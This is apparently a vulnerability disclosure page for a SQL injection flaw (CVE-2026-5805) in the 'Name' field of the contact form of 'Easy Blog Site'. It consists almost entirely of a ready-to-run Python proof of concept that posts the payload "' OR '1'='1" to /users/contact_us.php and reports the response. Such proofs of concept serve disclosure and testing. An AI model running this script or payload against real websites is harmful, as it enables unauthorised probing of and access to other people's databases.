CVE-2026-5805 Easy Blog Site SQL注入漏洞

#!/usr/bin/env python3 import requests def check_sqli(url): """ PoC for CVE-2026-5805 Exploits SQL Injection in the 'Name' parameter of /users/contact_us.php """ target = f"{url}/users/contact_us.php" # Basic payload to test for SQL Injection payload = "' OR '1'='1" # Data structure mimicking the contact form submission data = { "Name": payload, "Email": "[email protected]", "Message": "Testing SQL Injection" } try: response = requests.post(target, data=data, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {target}") print(f"[+] Payload used: Name={payload}") print("[+] Check response manually for database errors or content changes.") else: print("[-] Target did not respond as expected.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target URL target_url = "http://localhost" check_sqli(target_url)